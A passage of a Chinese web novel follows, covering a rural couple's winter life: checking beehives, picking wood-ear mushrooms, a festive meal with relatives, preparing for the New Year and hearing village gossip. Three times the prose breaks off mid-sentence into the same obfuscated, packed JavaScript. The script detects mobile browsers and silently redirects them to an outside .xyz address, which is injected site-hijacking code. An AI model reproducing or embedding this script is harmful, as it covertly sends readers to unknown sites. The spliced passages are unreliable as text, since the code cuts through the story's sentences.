背篓里装着他在镇上买的一些东西,有给柳彤买的一点零嘴和发绳,还有解馋割的两斤肉,东西不多,但是柳罗近几年难得的成果。等翻到最下边,却是一个他从没见过的包袱。 柳彤想让哥哥也烤烤火,刚过来就看到这个场景,她把包袱一把抢了过去:“这是我的!不能给哥哥看!” 柳罗也不多问,顺从道:“好,哥哥不看,你自己收好。” 其实多少能猜到,不外乎是嫂嫂给她送了什么,应当是衣物之类。 以前就能从柳彤的话里知道秦蓁对她的好,柳罗一直很感激对方。现在她和常常帮助自己的柳岚哥成亲后,柳岚更不知道该如何感谢他们一家,只能尽力多帮柳岚哥找山货去卖钱。 今天的工钱有二十文,他找菌子没有柳岚哥厉害,只找到两斤多,但柳岚哥居然按市价给了他二钱银子! 柳罗从来没有在一天内挣到这么多,他推拒着不肯收,柳岚却说他若是不收下,以后便不带他了,最后柳罗硬要送两斤肉给柳岚,自己才去买其他的。 剩下的一钱被柳罗好生存了起来,有了这些银钱,今年应该能过个好年。 —— “记得早些回来。”秦蓁一边帮柳岚整理围项,一边叮嘱道。 往年的冬日她只需在家取暖绣花便好,哪里像现在这般忧心。 按理说柳岚在山里行走了多年,对周围的危险不说应对自如,至少能全须全尾回来,秦蓁应当放心才是。但她一想到空寂的山林里只有柳岚一人,又是在寒冷的冬天,便忍不住担忧。 “好,看完我就立马回来。” 柳岚拥住人亲了亲,又在她唇上碰了碰,果然将秦蓁的注意力转移。 秦蓁瞪了他一眼,自己却也垫脚凑了上来。“当心脚下,要是进了猎户挖的陷阱里我可就找不着你了。” “放心,你乖乖在家。” 安抚好秦蓁,柳岚便上山去了。 今天穿的是鹿皮长靴,走起路来格外不同些。 秦蓁买的那张鹿皮做完手衣后还剩下不少,于是托人制了双长靴,毕竟鹿皮保暖又不易沾湿,很适合柳岚冬日外出。 前两日刚送过来,眼下正好能让他穿上。 柳岚这次要去查看蜜蜂过冬的情况,虽然他留够了花蜜,但总归有照顾不到的地方,还是去看看才能安心下来。 他年少时为了多收点价高的山货,去过周围不少地方,最远的那次跑到了一座不知名的深山里,无意间碰见一位蜂农。 那位蜂农估计在山里待了太久无人倾诉,对柳岚这个意外的来客很热情。 当问及养蜂的事情时也算是知无不言,还带柳岚参观了自己养的蜂群。 柳岚这才知晓原来蜜蜂也能饲养,让难以找寻的蜜糖可以变得容易获取。 他学到的当然只是一点皮毛,不过通过好几年自己的尝试,柳岚也有自己的一份心得。即便养得不如那位蜂农,在云山镇这片地方却已然足够。 柳岚一般会在发现蜂巢的附近找几个合适的地方,然后放上自制的蜂箱。蜂箱的制作方法是他询问蜂农后得来的,寻常木匠并不会做,他只能自己琢磨,做出来的成品精巧不足,但勉强能用。 并不是每个蜂箱都会有蜜蜂入住,十个里面往往只有两三个符合这些小东西的喜好,柳岚也不气馁,反正木头不费钱,无非就是自己多花些时间而已。 如今柳岚的蜂群也已初具规模,能稳定提供一定量的蜜糖。 落了厚雪的木板清扫后被人揭开,露出里面一团团取暖的蜜蜂。冬日的蜜蜂并不愿意动弹,柳岚小心翼翼观察着巢内蜜糖的量,以确保足够它们度过剩下的冬季,若是糖量不足,还需人为补充,否则开春后会看到一地饿死的蜜蜂。 等这一趟下来,太阳早已悬挂高空。柳岚抬头望了望,紧赶慢赶回了家。 …… “怎么样?” “还好,只有少数几个补了蜜,其他的应该能挨到开春。” 秦蓁还未见过蜂群,如果没有寒冬的威胁,她倒是想去看看,虽然听说蜜蜂会蜇人,但能远远瞧上一眼也好。 “下次还去吗?” 柳岚看懂了她眼里的跃跃欲试,无奈道:“我怕你受伤。” 有些地方路况不好,他怕一个不小心把秦蓁摔了,要是再出点其他意外,柳岚可承受不住。 “不是有你护着吗?” “那也不行,出事了怎么办?” “可是我想去看看。” 柳岚争不过她,干脆直接将人抱起放到炕边。“乖乖在家里,好不好?” 秦蓁没有应声。 柳岚一个人出门时她确实会担忧,但换成自己同行的话就不一样,两个人好歹能相互照应,这份忧心便少了许多。更何况她向来只待在自己熟悉的地方,从未有过这种肆意的“冒险”,上次去栗子林的经历很难忘,她难免想再尝试一番。 “晚上想吃什么?” “吃蜜蜂。” “真的?” 见柳岚一副意外却不惊讶的样子,秦蓁不由得对自己随口说的话有些疑惑。 “真的能吃?” “能。”柳岚也不故弄玄虚,直言道:“我以前在一个蜂农那里吃过。还未长大的蜜蜂白白嫩嫩,又叫蜂蛹,油炸或是火烤都很好吃。” 秦蓁绝对不能接受自己吃虫子,但看一看还是无妨,于是又缠着柳岚要去山上看蜜蜂。 柳岚能从平日的相处中看出秦蓁隐藏着的稚气,却没想到她会有这般“闹腾”的样子,一时竟有些新奇。 “阿岚——我想去。” “叫相公。” 秦蓁乖乖唤他:“相公。” 柳岚乐得笑眯眯的,答应的话却一字不说。 知道自己被这人戏弄了,秦蓁气得踩了他一脚。 柳岚追着她在后头笑。 —— 过了几天,柳岚告诉秦蓁可以带她去山上采木耳。 “真的带我去?” 柳岚捧着她的小脸,认真道:“真的。” 他找到了一条安全的路线,既能途经一小片蜂巢所在地,又能沿路采木耳。 “阿岚真好!我要准备什么吗?” “不用,我来安排就好。” 次日,两人一同戴好围项和手衣,穿好皮质长靴准备前往山上。 秦蓁的围项是前几年李青山给她买的,油光水滑的狐皮摸着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233646|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手感很好,银白色的一条也更衬得她小脸白皙。 柳岚还想让她把斗篷穿上,山上风大,戴上兜帽好歹能挡挡。 “穿斗篷待会不好走动。”秦蓁躲着不愿穿,冬天衣裳本就穿得多,再披件斗篷她就裹成球了。 柳岚一想确实如此,只得无奈放弃。 虽说以他的经验能确保路上不会有危险,但柳岚还是带了一把斧头和柴刀以防万一。 若是真的不慎碰到什么,以他的能力至少可以保护蓁蓁。 一路上柳岚都紧紧地牵着秦蓁,时不时提醒她注意脚下的路。 有了他护在身旁,秦蓁才能分出心神去欣赏周围的景物。 落了叶的高大树木伸出枝条,张牙舞爪的分割附近的天空,依旧带着绿意的松树之类则被雪压弯,偶尔有小片雪落下,发出“扑簌簌”的声响。 底下受庇护的灌木变化不大,依稀还带着春的模样。 除了寂静得吓人,好像和村子周围没有什么不同。 但在这种寂静中能催发出一种别样的情绪,让人忍不住胸腔如鼓,想去探索更远方的天地。 “咔嚓——” 不远处的树林里传来树枝断裂的声音,掉下来的时候又撞断其他树枝,最终落了一地残骸。 能看出最先断裂的树枝很大,也不知明明看似轻飘飘的雪花怎么有那般强大的力量,厉害时连粗壮的房梁都能压断。 柳岚看秦蓁频频回头,对身后的动静显然充满好奇,朝她问道:“要去看看吗?” “不用。” 又不是什么稀奇事,夏季刮大风时也能听到树枝断裂的声响,还是看蜜蜂重要些。 等来到第一处目的地时,柳岚带着秦蓁朝某个方向而去,只见散落的枯木上长着一丛接一丛的木耳。 这是柳岚在成功“种”出雪耳后得到的启发,既然雪耳可以越种越多,没道理其他的菌子不可以。 毫无意外,尝试过后的结果确实很喜人。 不过柳岚也懂得物以稀为贵的道理,没有立即全部采摘贩卖,而是在慢慢扩大种植范围,以期日后将生意做到县里时有足够的货物供应。 “好多木耳!可以摘吗?” “可以。” 柳岚只让秦蓁摘了一会过个瘾,然后自己两手一动,快速把长得足够大的木耳摘下,其余的则留着继续生长。 聪慧如秦蓁,自然能猜到这片地方的木耳是柳岚的杰作。 虽然柳岚看似只是一个普通的山货郎,但在不为人知的地方,他有展露出独属于自己的风采。 “阿岚。” “嗯?” 柳岚停下手头的动作,立马朝着秦蓁的方向望去,却意外获得了一个亲吻。 他眼里泛出笑意,问她:“怎么了?” “心悦你。” 柳岚一怔,他回吻过去,喃喃道:“我也心悦你。” …… 采下来的木耳被小篓子分隔开来放好,走了大半天,柳岚终于拐进一处岔道,准备去看秦蓁心心念念的蜜蜂。 他走到一个蜂箱跟前,确定里面的小家伙依旧安分后才招手让秦蓁过来。 木板被掀开一道巴掌宽的空隙,借着天光可以看到里面团着的蜜蜂。 小小一只的蜜虫密密麻麻堆在一起,不断围着中间的什么东西爬动,乍一看根本分不清尾首。 饶是做足了准备,秦蓁也不由得惊叹一声:“宛若奇景!” 柳岚第一次见到时也震惊不已,如今习惯了倒不觉得惊奇了。 开久了热气会散,没过一会柳岚就将木板重新盖好了。 “这下舒心了?” “嗯。”秦蓁讨好地朝他笑。 “那我们下山回家。” “好。” 柳岚和来时一样,紧紧牵住了秦蓁的手。 木耳看着多,分量却不算重,丝毫影响不到他沉稳的步伐。 秦蓁安心跟在柳岚身后,为看到了冬日的蜂群而欢喜。 27. 第27章 寒冬在家没怎么停过嘴,几乎顿顿都有肉,不是镇上买的猪肉便是托赵承打的兔子肉,偶尔还会买只老母鸡炖汤喝。不仅如此,柳岚还变着花样做菜,直把秦蓁的胃口喂大了不少。 不过老母鸡只在村里买过两次,后头都是柳岚去镇上或者顺路的村子里买。毕竟冬时挣钱的活计少,能不花钱就不花钱,连富户都只会在年前买一两只,自家的鸡还等着来年下蛋呢。 当柳岚买第二只的时候于红英便听到了风声,闲言碎语从来都不会少,可临近过年了还是得避避,若是被这些琐碎事缠身,来年只怕不安稳。 …… “阿岚,只有两个鸡蛋了。” “我前两天问过大伯娘,天越来越冷,鸡都不怎么下蛋,你想吃我再找人问问。” “不用。”秦蓁不是馋嘴的人,只是和柳岚在一个屋檐下待久了,习惯什么事都同对方知会一声。“不过下次去镇上记得再买点零嘴回来。” “好。” 秦蓁发现柳岚比辰辰还爱吃零嘴,每次一摆出来他就会顺手摸一两个来吃,家里的零嘴细究起来还是他吃得多些。 不过秦蓁没说出来,一点零嘴吃就吃了,虽说是柳岚为了她买的,但夫妻俩何必在意这个?况且柳岚自己也没发觉。 想来也是,他自小懂事,经历又坎坷,即便是有大伯家照顾也不是天天有零嘴吃的。 “最近都在家里,怎么不去大伯家找嫂嫂一起?”柳岚还想问以前和秦蓁交好的那些小姑娘怎么不来了,但这话一说有些不妥,便没有开口。 “嫂嫂也有自己相熟的好友,何必为了陪我让她拘在家中?” 谭月知道她和其他人不熟,不会刻意介绍秦蓁去认识,一般会在家陪着她话家常。 “那也可以出去转转,在家待着太闷了。” 日头好的时候去散散心,否则柳岚怕秦蓁和他待久了会感到腻烦。 “我出去了你怎么办?”秦蓁停针朝柳岚看去。 虽然柳岚的人缘不差,但除了上山寻山货,他平常其实不怎么出门,在家也只是安安静静地做着自己的事。 不难想象出以往的柳岚会如何度过漫长的冬季,明明秦蓁自己也是一个人经历了这些,此时的她却会为柳岚感到心疼。 柳岚好像不明白秦蓁为什么会这么问,正在疑惑地望着她。 秦蓁走到柳岚身前抱住他的腰,柔声说道:“我出去了就没人陪我家阿岚了。” 柳岚顺势抬起的手臂抱得更紧了,他亲了亲怀里人,在她耳边说道:“蓁蓁在心里陪着我呢。” 两人温存了一会,秦蓁坦言道:“每年冬天我都是一个人在家做绣活,并不会觉得烦闷,今年是我们成亲的第一年,我想陪着你一起。” 那些小姑娘们偶尔也会过来找她,但冬日事少,家里女眷一起围坐在炕上才是常态,虽说那时也会盼着大家过来陪她说说话,但今年早已不同。 “我……我也想。”秦蓁不在他身边的时候柳岚心里总是记挂着,可汉子太黏人未免惹人笑话,因此他不敢言明,只是每每和秦蓁待在一起时他都会格外欢喜。 —— “柳岚啊,你这里还有香菇吗?我过来买点。” “有,婶子你坐会,我去拿。” 大家渐渐习惯了来柳岚这边买山货,次数多了也比较熟悉,不用人招呼就进堂屋坐着了。 村里人靠山吃山,不管哪家都会自己备点菌子和栗子之类,平常上山砍个柴也能捡点,但毕竟不靠这些填饱肚子,没有人家专门做这个营生的来得齐全。 听说入冬这么久了柳岚手里还有新鲜的栗子卖,就是贵,要二十文一斤,都快赶上猪肉的价了。 秋时随处捡的东西,哪里想到身价能翻这么多?也不知道是怎么保存的。 要不说他们做买卖的心思活泛呢,脑子里想的就是比别人多。 那婶子在心里胡乱念叨的功夫,从屋里出来的秦蓁已经泡好了茶端过来。“婶子,喝茶。” “诶,诶,好。”王翠假装喝茶,眼神却一直瞟向秦蓁那边。 刚嫁来她们村的新妇多多少少会出来走动走动,山货郎家这个倒是不一般,除了去柳大家,平常都没怎么见过。 不过这茶好像比自己家的更香些,王翠喝口茶暗自寻思道。 乡下人家多用自己炒的粗茶待客,口感偏苦涩,但好歹有味,比白水好喝些。有的人家也会去铺子里买专门炒制的茶,或是放点沙糖甜甜嘴,总归是弄些花样显得有面,喝倒是一样的喝。 “婶子,您过来看看。”柳岚提了个布袋出来,看到秦蓁在招待对方,忍不住笑了笑。 其他一起做买卖的夫妻好像也是这样,汉子干活,媳妇只要在一旁等着收钱便好。 王翠走到近前挑了三两,她清楚价格,数出二十一文钱给柳岚后带着东西就走。 来柳岚这里买山货的人都知道,哪怕是最难缠的老婆子在柳岚面前也讨不到半点好处,不如大方点拿钱走人。 为了一两个铜板纠缠半天本就不值当,况且愿意花钱买山货的人家也不差那一两个子,何必再闹笑话。 柳岚卖给村里人的价格本就比市价低,只赚个辛苦钱,要是都找他少个一两文,那这买卖也做不成了。 待那人走远,秦蓁才朝柳岚问道:“这婶子我怎么没见过?” 她平常虽然少出门,但好歹在村里这么些年了,多数人还是能对上脸的。 “她家在北边那块,靠近后头,不常来我们这边。” “这样啊。” 秦蓁认识的乡亲还是靠前头的多些,姑娘们也没几个住在那边,因此不怎么有往来。 “说起来,”柳岚看着秦蓁继续说道:“她家和李家秀才是邻居。” “嗯?” “前几年你刚到定亲的年纪,有人就在猜你会和哪家的汉子说亲,李家秀才也在其中。” 不仅如此,还有村口张家地主的小儿子和其他家境不错且年龄适合的汉子,当时的柳岚没有别的心思,只是路过听了一耳朵。 说起这些事情,秦蓁也依稀有些印象,“村里是有位秀才托媒人来提亲过。” 不过她那时正在为自己的前路迷茫,自然没有谈婚论嫁的心思。 况且娘亲有意让她嫁去镇上,秦蓁也不愿违背她。 只是后来兜兜转转,她还是待在了村里,嫁给在外人眼里外表看上去并不光鲜的柳岚。 “幸好你都没有答应,现在让我得了便宜。” “怎么不说我得了天大的好处?你看有哪家媳妇平日里不用干活,还天天有相公买的零嘴吃?” 柳岚不说话,只顾着傻乐。 他把“天仙”娶回了家,当然舍不得她受苦。 —— 之前说好了请谭月来家里吃油煎豆腐,趁着柳文轩在家,秦蓁让柳岚把两人约了过来。 “嫂嫂,大哥,过来了?阿岚一-大早就把豆腐买回来了,只等开饭。” 秦蓁招呼哥嫂俩进屋烤火,谭月依言过去,柳文轩则去灶房里给柳岚打下手。 “怎么不把星星带过来?” “难得出门躲会,我把他丢给他奶奶了。” 兄弟俩各自成家后关系依旧,于红英当然乐意他们多聚聚,谭月这个当娘亲的有时会嫌儿子烦人,于红英却乐得带她孙子,常常出去显摆,夸她孙子多乖巧,不像有些调皮蛋。 养孩子也有养孩子的难处,秦蓁不便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14252949|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多说,转头说起其他事。 聊着聊着,谭月瞧了秦蓁几眼,问道:“蓁蓁,你是不是长了点肉?看着没以前那般清瘦了。” “是吗?”秦蓁抬起手摸了摸自己的脸颊,试图摸出一点不同来。 “你让阿岚抱着你颠两下不就知道了?”谭月一脸戏谑地笑着。 “嫂嫂你就会说笑。”秦蓁清楚她的行事作风,倒不觉得冒犯。 谭月转而认真道:“长肉了就说明阿岚把你养得很好,这样他能安心,娘家人也能放心。” “我和你哥成亲时他还没考上秀才,那年家里不好过,天天起早贪黑忙活。发觉我瘦了之后文轩也很自责,我骗他说是想吃烧鸡想的,这傻子第二天就带着阿岚上山去了。” 怪不得阿岚以前经常被大哥诓烧鸡,原来是给嫂嫂献宝去了。 秦蓁在心里偷笑,突然想起柳岚好像也比成亲时壮了些。 柳岚个子本就高,看起来比旁人更瘦,上手一摸只能摸到硌人的骨头,大概是冬日常在家歇息还天天吃肉,夜间窝在他怀里睡时确实舒服了许多。 这样看来,她好像也把柳岚养得很好,秦蓁玩闹般想着。 灶房里传来的香味愈发诱-人,谭月坐不住,带着秦蓁过去看。 切得厚薄适中的豆腐在油锅中微微跳动,嫩白的表面逐渐染上金黄,香味也随之迸发,煎到两面金黄后柳岚将之铲出来备用,再下葱姜蒜和干番椒爆香,最后把豆腐重新下锅翻炒,出锅。 两个汉子端着其他几碗菜,谭月则霸占那盘油煎豆腐闻了一路。“这一口我想了许久,还是蓁蓁惦记着我。” “嫂嫂下次想吃什么再同我说,让阿岚来做。” “那我可记着了。” 几人吃过饭后聚在堂屋烤火,小火炉没有明火暖和,秦蓁便把自己的汤婆子给谭月捂捂,她则用柳岚买的那个。 “明天熬粥的东西可都备齐了?” “备好了。” 不知不觉中冬季已然过了大半,行至腊月,村子里也开始热闹起来了。 明天腊八,再穷苦的人家也会凑几样东西出来熬粥。 秦蓁以前一个人,锅里随意添一点就够她吃的了,今年和柳岚一起,便准备试着放些花生、栗子、松子等换换口味。 松子难剥,许久才能攒出一小盘,不过在秦蓁和谭月闲聊的时候,柳岚已经剥好一捧了,柳文轩也剥了小半碗花生放到谭月手边。 妯娌俩围炉烤火,旁边有各自的相公在伺候着,这场景也当真是少见了,偏两人习惯了如此,从未觉得不妥。 如今这时节气温正好,谭月抓了把花生说道:“娘今年熏了腊肉,到时来家里拿一条,去年我吃着味道不错。” 徐清媛是从北方来的,自然不会这个手艺,秦叔朗也是大老粗一个,光伺候媳妇就费尽了他的柔情,别的可就做不来了。 柳岚往年也是买好猪肉托伯娘做,今年倒是忘了。不过一家人不讲究这些,明年再多买些回来也一样。 “是吗?明年我也学着做做,前两年吃过一次,味道确实好,要是学成了,年初去拜访也能多一件年礼。” 寻柳村这边偏北,会做腊味的人家还是少数,不过喜欢吃的人不少,这份手艺倒也渐渐传开了。 秦蓁吃过腊肉配着蒜苗和干番椒一起炒,风味确实独特,令人回味无穷。 只是后来不常出门,便吃得少了。偶尔兴起买一块,常常要到年后才能吃完,因此秦蓁不愿再买。 但此时听谭月这般说,她倒是又起了几分兴致。 柳岚一看秦蓁的神色就知晓她在想什么,今年尚未过完,来年的事却已经安排好了,只愿她到时还记得,不会询问自己为何多买肉。 28. 第28章 俗话说过了腊八就是年,往后的每一天都有讲究,不过秦蓁以前不在意这些,日子该怎么过就怎么过,自己舒心便好。 而柳岚也是稀里糊涂地过,大伯娘交代了什么就做什么,里头的讲究却不甚清楚。 再有两天就是大集了,家家户户都会去采买年货准备过年,于红英怕小两口少了什么东西,风风火火跑到家里去了。 “蓁蓁,阿岚!”进屋里看没人,于红英又喊了一声。 “伯娘!在后院!”估计是听到了声,柳岚远远回她一句。 到后院时看到柳岚架着梯子在收拾养驴子的窝棚,连天的雪下了厚厚一层,当年用的料子再结实也禁不住这般折腾,正好过年要收拾家里,柳岚干脆先把后院清理一遍。 秦蓁脚踩在第一级阶梯上稳住梯子,她力气不大,但好歹是个保障,能护一护。 “伯娘。” “欸,欸。”于红英也不着急说话,先过来和秦蓁一起扶着。 两人已经忙活好一阵了,确定窝棚没什么隐患,也不漏风漏水后就收了尾,没让于红英等太久。 “后天赶大集,记得买点灶糖和糖糕,看看家里还缺了什么,到时都买上,让阿岚驾着驴车去,买多了也不怕。” 小两口成亲的头一年,可不得多吃点过个好年。 上次月月和她说两人胖了点,于红英自己又瞧了瞧,发现确实是养得壮些了,可蓁蓁的身板还是瘦弱,得再补补。 于红英从不过问柳岚挣了多少银钱,但他为了让长辈安心也会透露一点。因此于红英知道这小子是个不差钱的主,况且拖到今年才成亲,也得多备写年货等年初那几天热闹热闹。 两人没有拂了她的好意,一一应下。 其实家里不差什么东西,每次柳岚去镇上都会带点回来,平日里不觉得,整理一番却发现堆了好大一块地方。 “托徐木匠定的架子应当好了,我下午去看看。” “也好,家里的东西越来越多,都快堆不下了。” 老房子地方本就不大,以前只放柳岚收的山货倒也够用,可秦蓁带了不少东西过来,规整过后才勉强放下。 …… 年前的大集果然热闹,到处都是吆喝声,还有不少人围着看杂耍。 不过对于秦蓁来说算不得新奇,杂耍、唱戏这些乐事她少时见多了,倒是柳岚觉得有趣,不禁多看了几眼,于是秦蓁陪他多待了一会。 等走出人群,柳岚不好意思地笑道:“小时候最爱赶大集的杂耍,一看见就走不动了,回到家自己还会比划两下。” 只是后来常为生计奔波,在街上见到了也不过是匆匆看两眼。往年的大集还算清闲,但心里只想着早点把东西买完,回家再琢磨琢磨有什么挣钱的新法子,一年到头没个闲时候。 “你若是爱看,以后我们每年都来瞧上一瞧。” “好。”柳岚借着把秦蓁碎发拢在耳后的空挡,悄悄蹭了蹭她的脸颊。 秦蓁没躲,只是装作不知。 …… 最后,除了大伯娘交代的那些,两人还买了两个大灯笼和裁好的红纸,零嘴当然也没少买。 摊子上也有已经写好的对联,比单一的红纸贵上几文钱,不过他们家有两个会读书写字的人,不必再另花钱。 秦蓁的字秀气,两人便商量好了托柳文轩写院门口的对联,剩下的则由秦蓁来写。 毕竟作为近几年出的秀才,来找柳文轩写对联的人不少,都希望自家孩子也能沾沾喜气,来年考个童生、秀才。 几副对联而已,就不去麻烦柳文轩了。 待客用的吃食有瓜子花生这些便足够,顶多再添一盘干果。至于蜜枣果脯之类那是留着自家吃的,他们俩就算挣得再多,也舍不得拿精贵的东西随意招待客人。 往回走的时候碰到沿路卖糖葫芦的小贩,柳岚便叫住他买了两串,秦蓁还问他怎么知道自己想吃这个,柳岚也不答,看着她跟个小孩一样露出开心的笑。 到了家里,秦蓁手上那串糖葫芦还剩一颗,她本想让柳岚吃另一串,可惜他要赶车,腾不出手去拿,秦蓁只好边吃边喂,两人慢慢吃了一路。 起初秦蓁还有些不自在,毕竟是已经成亲的人了,吃小孩吃的零嘴总觉得会让人笑话,但她转念一想,花的是自家的铜板,又没有碍别人的事,管那么多做甚? —— 灶君画像前摆了一碟灶糖和几碟各式各样的糖糕,柳岚把两口锅搬到院里铲锅底的黑灰,秦蓁则兑着提壶里烧的热水去擦洗灶台上的瓶瓶罐罐,夫妻俩一同忙碌着清扫家里。 屋里各处平时看着干净又整洁,毕竟不常打扫,许多地方还是落了不少灰。 橱柜顶上的灰积了厚厚一层,定是柳岚去年忘了擦,秦蓁拿出手帕捂住口鼻才敢去抹,仅一下,布巾就脏了个彻底。 “柳岚!” “怎么了?” 自成亲后秦蓁一直是喊他阿岚,偶尔会叫相公,这声全名直接惊得柳岚把木铲扔了跑过来。“蓁蓁,这是怎么了?” “顶上太脏了,我不想抹。” “我来我来。”柳岚接过脏兮兮的布巾,另一只手把站在高脚凳上的秦蓁抱了下来。“这边我来弄,你去屋里拆被子,待会我洗。” “好。”秦蓁擦了擦柳岚沾了灰的脸,又在他颊边亲了亲,洗过手后便回屋里忙活去了。 等灶房收拾干净了,两人又一块打扫下一个房间,毕竟是两个人的家,不可能什么事都由柳岚来做,一些轻松的活秦蓁也可以干。 最麻烦的是弄干净灶膛和炕洞里的灰,刚刚柳岚在灶房里沾了满头满脸,秦蓁让他围块布巾挡住口鼻,防止不小心吸进去呛住。 头发脏了倒没事,今天总归是要沐浴的。 近日都是晴朗的好天,不过晚了没有好晒的日头,因此两人紧赶慢赶,先把脏活累活干完,剩下的留着明天再说。 粮房里的粮食都装在大瓮里,一个个格外沉重,秦蓁帮不上忙,只能靠柳岚一个人慢慢挪动。 这些时日两人在吃食上没有丝毫顾忌,清空了好几个大瓮和坛子,但是剩下的依旧能吃到明年开春。 柳岚既然在过冬前迎娶了秦蓁,那必然是做好了万全的准备。 “蓁蓁,水好了。” “来了。” 柳岚帮秦蓁打好沐浴用的水,又在一旁提了一桶热水备着。 左右闲不下来,他便去放山货的屋里看了看。 贵重的那些在主屋放着,柳岚隔一段时间就会去查看,毕竟是赚钱的大头,可不得盯紧了。 余下的都在这,入冬后慢慢卖出了一些,如今还有一大半,等到早春时差不多能全部卖完。 沐浴之后明显能觉出身上轻快了许多,暖阳晒在身上令人昏昏欲睡,秦蓁的头发已经半干,她拿着布巾,正在为柳岚擦头发。 洗净的被单晾在竹竿上,随着吹来的微风轻轻飘动。 收拾过的院落总觉着和以前大为不同,看起来清清爽爽,愈发舒心。 次日,两人回到秦家继续忙活。 院里缠绕着木架的葡萄藤只剩一根枯藤,一小堆落叶藏在水井的背面,被风吹动时发出微微的声响。 不过短短一两个月,这座在村子边缘处的院落就没了半分人气,唯一增添了生气的是菜园子里那一小片红根菜和萝卜菜。 “有梯子吗?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272785|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上屋顶看看。” 秦蓁思索了一会,“应当在后院,我自己用得少,都是周叔得空了过来给我修缮。” 柳岚去后院寻了一圈,找到后先爬到堂屋上边查看。 家里的大部分东西都收拾好了,有什么变化一眼就能瞧出来,除了一层薄薄的灰,和秦蓁之前离开时没有太大的区别。 柳岚动作很利索,三两下换好了破损的几块瓦。 虽说他们近期不会住在这里,但好歹是秦蓁住了这么多年的家,清扫干净也是应该的。 剩下的东西少,打扫起来倒是不怎么费劲,只是冷锅冷灶,烧热水难免要多花点时间。 “到时还是住在这边好了。” 柳岚也同秦蓁一起打量着这处为她遮风避雨的房子,他点头道:“也好,大伯家确实离得近,不过家里还有这么多东西,总归是个麻烦。” 建房子宜早不宜迟,等开春就该张罗起来准备动工了,因是建在原本的地界上,便说好了边拆边建,但建成了又不能立即入住,两人还是得另找地方。 原本柳岚是打算借住在大伯家,离得近些毕竟方便来往,可建房子不是一朝一夕之间的事,时间长了容易引发事端。 秦蓁则想着住在自己原本的家,远是远些,不过也更自在,等夏季天热了这边还能避暑凉快凉快。 “那得和大伯娘好好说说,不然还以为你成亲了就和他们淡了感情。” “好。” 如若只有柳岚一人,行事随意些倒也无碍,可有了自己的小家,多少还是要顾忌一些,否则伤了和气就不好了。 —— 二十五这天,手艺不错的人家会自己推磨做豆腐,懒得费这个心神或者做得不好的人家更愿意去卖豆腐的那里买,左右不贵,也就走一段路的事。 周围村子里专门卖豆腐的只有一家,因此人格外多些。 秦蓁去过一次,之后便不愿再去,都是托隔壁赵婶帮忙带回来。今年没有能帮忙的邻居,但柳岚人老实,腿脚也麻利,秦蓁一说要买豆腐他就去了。 卖豆腐的刘家附近来来往往的大多是妇人,少有的几个汉子要么是家里没其他女眷的鳏夫,要么是家里人懒得管的老光棍,柳岚一个个高又年轻的汉子在其中衬得极其出挑。 有相熟的婶子问他:“柳岚啊,怎么是你来了,你家媳妇呢?” “天冷,几步路的事,就没让她来了。” “哎呦,还是柳岚疼人。” 柳岚笑了笑,没多说。 在村里随口说的一句话都可能被旁人传出一朵花来,他不愿引起过多的议论,还是少说话为好。 “哈,笑死人了,什么疼人,怕不是被赶出来的吧?那秦家小姐心气儿可高了,连镇上的公子哥都看不上,也不知道哄了多久才哄着人嫁给他。” “就是,当初那个排场可别是把家底掏空了才撑出来的,到时那就热闹了。” …… 柳岚垂在身侧的手不自觉蜷了起来,那几个妇人隔得有些远,但并没有收敛声音,耳力极佳的他自然也能听到一些。 想到秦蓁,他又觉得没什么好计较的,那些人只是出于嫉妒张嘴乱说,并不知晓他们私底下是怎么相处,更不知道蓁蓁会笑着喊他阿岚,还会柔柔地对他说“心悦你”。 最先开口的那个妇人是北边李家秀才的娘,当年托媒人上门没能说成那门亲事让她丢了面子,因此常常说秦蓁眼高于顶,看不上他们乡下的人家。 结果过了几年秦蓁却和看上去远不如他们家的柳岚成亲了,可把她气得够呛。 柳岚垂下眼眸,微攥着的手也渐渐松开。 不过是些酸言酸语,他都知道的。